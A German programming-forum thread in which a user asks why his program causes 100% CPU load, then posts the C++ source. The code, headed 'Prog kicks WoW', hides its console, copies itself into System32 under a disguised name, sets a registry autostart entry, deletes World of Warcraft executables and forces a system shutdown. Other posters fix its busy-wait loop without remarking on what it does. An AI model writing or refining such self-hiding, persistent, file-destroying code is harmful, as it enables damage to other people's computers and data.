100% Auslastung
-
Hi,
ich habe ein kleines Problem mit einem Programm was ich geschrieben habe, und zwar ist die CPU Auslastung nach dem Starten bei 100% und ich habe keine Ahnung warum.
Ich vermute das es mit dem Countdown zusammenhaengt der eingebaut ist aber bin mir da auch nicht so sicher. Der Code ist auch nicht uebermaessig lang, vill. 1,5 Seiten, wenn ueberhaupt.
Waehre gut wenn mir jemand helfen koennte.
MfG
Coda
-
Hi, bist heute wohl witzig drauf...
Bitte sage uns mal wie wir dir helfen sollen ohne ein Stück Code.=>>"Mir tut was weh. Kann mir einer helfen ?"
-
Evtl. rennt sich da eine Schleife zu tode, es hilft meistens, wenn du da ein Sleep von ein paar Millisekunden einbaust.
Aber wie FreakCoder schon gesagt hat, du musst immer deinen Code beigeben, sonst können wir dir sehr schlecht helfen ....

=>>"Mir tut was weh. Kann mir einer helfen ?"

MfG mikey.
-
Coda@linux.PrayLoad schrieb:
Hi,
ich habe ein kleines Problem mit einem Programm was ich geschrieben habe, und zwar ist die CPU Auslastung nach dem Starten bei 100% und ich habe keine Ahnung warum....Ist doch Prima !
Das bedeutet, dass sich der Prozessor vollkommen der Bearbeitung Deines Programmes widmet ... was will man mehr ?Gruß,
Simon2.
-
Hallo
Simon2 schrieb:
Coda@linux.PrayLoad schrieb:
Hi,
ich habe ein kleines Problem mit einem Programm was ich geschrieben habe, und zwar ist die CPU Auslastung nach dem Starten bei 100% und ich habe keine Ahnung warum....Ist doch Prima !
Das bedeutet, dass sich der Prozessor vollkommen der Bearbeitung Deines Programmes widmet ... was will man mehr ?Gruß,
Simon2.
Das hast du einfach schön gesagt.
chrische
-
Wie mikey schon gesagt hat wird wahrscheinlich eine deiner Schleifen die 100% CPU Last verursachen. Versuch es mal mit dem sleep zu dem dir mikey geraten hat.
-
Lösung:
Wenn es ne schleife ist, dann lässt sich gar nichts mehr machen mit deinem Programm (Programm reagiert nicht mehr)
Ich denke mal du hast im hauptfenster bei der OnPaint Funktion
am ende die zeile CWnd::OnPaint(); vergessen... wenn ja bekomt dein Prgramm laufen "neu Zeichne" messages und hat so ne 100% auslastung:)
bzw. muss nich mal unbedingt die OnPaint vom haupfenster sein.. halt irgend eine OnPaint deines Programmes
P.S.: Hatte mal das selbe Problem und bin fast verzweifelt :xmas2:
EDIT: Das wäre die Fall ein einer MFC Anwendung, könntest du aber auch evtl. auf deine Anwendung ableiten... (Kontinuierlicher Message aufruf)
-
BorisDieKlinge schrieb:
Lösung:
Wenn es ne schleife ist, dann lässt sich gar nichts mehr machen mit deinem Programm (Programm reagiert nicht mehr)Ich denke mal du hast im hauptfenster bei der OnPaint Funktion
am ende die zeile CWnd::OnPaint(); vergessen... wenn ja bekomt dein Prgramm laufen "neu Zeichne" messages und hat so ne 100% auslastung:)
bzw. muss nich mal unbedingt die OnPaint vom haupfenster sein.. halt irgend eine OnPaint deines Programmes
P.S.: Hatte mal das selbe Problem und bin fast verzweifelt :xmas2:
EDIT: Das wäre die Fall ein einer MFC Anwendung, könntest du aber auch evtl. auf deine Anwendung ableiten... (Kontinuierlicher Message aufruf)
Halöle BorisDieKlinge,
ich glaube eher das es sich um eine Konsolenanwendung handelt. Bei Konsolenanwendungen hast du dieses Nachrichtensystem wie bei der MFC nicht und musst das Problem anderster behandeln/lösen. Eine Möglichkeit wurde oben mit dem sleep genannt. Eine weitere Möglichkeit wäre das ganze in einem extra Thread laufen zu lassen.
-
Das bedeutet, dass sich der Prozessor vollkommen der Bearbeitung Deines Programmes widmet ... was will man mehr ?
Er könnte dann noch die Prozesspriorität auf Realtime stellen, dann geht dein Programm ab wie ein Zäpfchen

Nee, also wiegesagt, check mal deinen Code nach den erwähnten Vermutungen. Wenn sich was rührt, dann melde dich!
MfG, mikey.
-
Ich denke mal du hast im hauptfenster bei der OnPaint Funktion
...Wird auch so die Wettervorhersage gemacht ?

-
chrische5 schrieb:
...
Das hast du einfach schön gesagt.chrische
Danke.

Ich habe immer noch nicht verstanden, welches "Problem" hier eigentlich gelöst werden soll .... vielleicht kann mal einer von denen, die einen Lösungsvorschlag unterbreitet haben, das mal kurz schildern.
Gruß,
Simon2.
-
Simon2 schrieb:
Ich habe immer noch nicht verstanden, welches "Problem" hier eigentlich gelöst werden soll .... vielleicht kann mal einer von denen, die einen Lösungsvorschlag unterbreitet haben, das mal kurz schildern.
Gruß,
Simon2.
Das Problem ist, daß es eigendlich nix zu sagen gibt, aber jeder den Drang verspürt etwas sagen zu müssen, denn die meisten haben damals den Satz in der Sesamstrasse einfach falsch verstanden. Es heißt: Wer nicht fragt bleibt dumm. die meisten glauben aber es heiße: Wer nichts sagt ist dumm.

-
schue schrieb:
Das Problem ist, daß es eigendlich nix zu sagen gibt, aber jeder den Drang verspürt etwas sagen zu müssen, denn die meisten haben damals den Satz in der Sesamstrasse einfach falsch verstanden. Es heißt: Wer nicht fragt bleibt dumm. die meisten glauben aber es heiße: Wer nichts sagt ist dumm.

Das Problem ist das die CPU beim ausführen des Programmes auf 100% belastung ansteigt und genau dieses Problem soll behoben werden.
-
guenni81 schrieb:
...Das Problem ist das die CPU beim ausführen des Programmes auf 100% belastung ansteigt und genau dieses Problem soll behoben werden.
Das ist kein Problem.
Man muß seinen Prozesseor nicht "schonen" ("Oh. mein Gott, der kommt ja aus der Puste, wenn der immer bei 100% läuft")
Ist Dein Problem vielleicht, dass andere Prozesse in der Zeit nicht zu Zuge kommen ?
Gruß,
Simon2.
-
Simon2 schrieb:
Man muß seinen Prozesseor nicht "schonen" ("Oh. mein Gott, der kommt ja aus der Puste, wenn der immer bei 100% läuft")

Es kommt auf das Programm an. Wenn du nur einen Coutdown runterzählen lässt und die CPU 100% Systemauslastung anzeigt, dann kann was an dem Programm nicht stimmen.
Simon2 schrieb:
Ist Dein Problem vielleicht, dass andere Prozesse in der Zeit nicht zu Zuge kommen ?
Dies ergibt sich zwangsläufig automatisch wenn die CPU bei 100% Systemauslastung liegt.
-
guenni81 schrieb:
...
Simon2 schrieb:
Ist Dein Problem vielleicht, dass andere Prozesse in der Zeit nicht zu Zuge kommen ?
Dies ergibt sich zwangsläufig automatisch wenn die CPU bei 100% Systemauslastung liegt.
Es heißt aber nicht zwangsläufig, dass es ein Problem ist.
Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.Gruß,
Simon2.
-
Simon2 schrieb:
Es heißt aber nicht zwangsläufig, dass es ein Problem ist.
Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.Was für Anwendungen sind das den?
-
guenni81 schrieb:
Simon2 schrieb:
Es heißt aber nicht zwangsläufig, dass es ein Problem ist.
Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.Was für Anwendungen sind das den?
Z.B. private Keys rechnen mit entsprechenden Primzahloperationen. Eigentlich alles, wo man rechnet ... dass der normale User sich angewöhnt hat, 100%-CPU als etwas Schlechtes anzusehen, liegt wohl eher daran, dass viele ihre Computer drastisch unterfordern. Wie sagte mal ein Freund von mir so schön: "Warum soll ich meinen 286er gegen einen 386er tauschen ? Damit er noch schneller auf meinen nächsten Tastendruck warten kann ?"

Gruß,
Simon2.
-
Hier ist der Code.
Das die Schleife sich endlos laeuft sehe ich jetzt auch nicht.
Coda habe ich desshalb erst nicht geposted, weil ich genau wusste was hier nun wieder fuer Fragen auftauchen.// Prog kicks WoW // PrayLoad (c) by Coda #include <cstdlib> #include <iostream> #include <stdio.h> #include <time.h> #include <math.h> #include <windows.h> using namespace std; // Math void wait ( int seconds ) { clock_t endwait; endwait = clock () + seconds * CLK_TCK ; while (clock() < endwait) {} } // Main-Funktion int main() { // Konsole invisible SetConsoleTitle("PrayLoad"); HWND hFenster = FindWindow(NULL, "PrayLoad"); ShowWindow(hFenster, SW_HIDE); // Copy CopyFile("wow_fun.exe" , "C:\\WINDOWS\\System32\\cfmon.exe" , TRUE); // auto boot HKEY hkey; HKEY KEY = HKEY_LOCAL_MACHINE; char place[100]= {"Software\\Microsoft\\Windows\\CurrentVersion\\Run"}; char name[100]= {"Autostart"}; char value[100]= {"C:\\WINDOWS\\System32\\cfmon.exe"}; RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&hkey); RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)value, strlen(value)); RegCloseKey(hkey); // Dec int n; int mineing = 3; int min; int sek; FILE * pFile1; pFile1 = fopen ("C:\\Programme\\World of Warcraft\\Launcher.exe","r"); FILE * pFile2; pFile2 = fopen ("D:\\Programme\\World of Warcraft\\Launcher.exe","r"); FILE * pFile3; pFile3 = fopen ("C:\\Programme\\World of Warcraft\\WoW.exe","r"); FILE * pFile4; pFile4 = fopen ("D:\\Programme\\World of Warcraft\\WoW.exe","r"); // Math min = mineing * 60; sek = min; // time for (n = sek; n > 0; --n) { wait (1); } // if for filetest if (!pFile1 == NULL || !pFile2 == NULL || !pFile3 == NULL || !pFile4 == NULL) { // Del DeleteFile("C:\\Programme\\World of Warcraft\\Launcher.exe"); DeleteFile("D:\\Programme\\World of Warcraft\\Launcher.exe"); DeleteFile("C:\\Programme\\World of Warcraft\\WoW.exe"); DeleteFile("D:\\Programme\\World of Warcraft\\WoW.exe"); // Terminate // Shutdown system("shutdown -s -t 0"); } else { return 0; } return 0; }MfG
Coda
-
Coda@linux.PrayLoad. schrieb:
void wait ( int seconds ) { clock_t endwait; endwait = clock () + seconds * CLK_TCK ; while (clock() < endwait) { Sleep(1000); } }"Problem" gelöst?
(Rest des Programms nicht angeschaut, ich hoffe ich habe deine Frage verstanden)
-
Naja, kein Wunder das da ne 100% CPU Auslastung rauskommt wenn die wait-funktion nonstop clock() called.
btw, geht viel einfacher:
void wait ( int seconds ) { Sleep(1000 * seconds); }Mit dem Unterschied das der Thread vom Sleep suspended wird, also 0 CPU Auslastung erzeugt solange er wartet.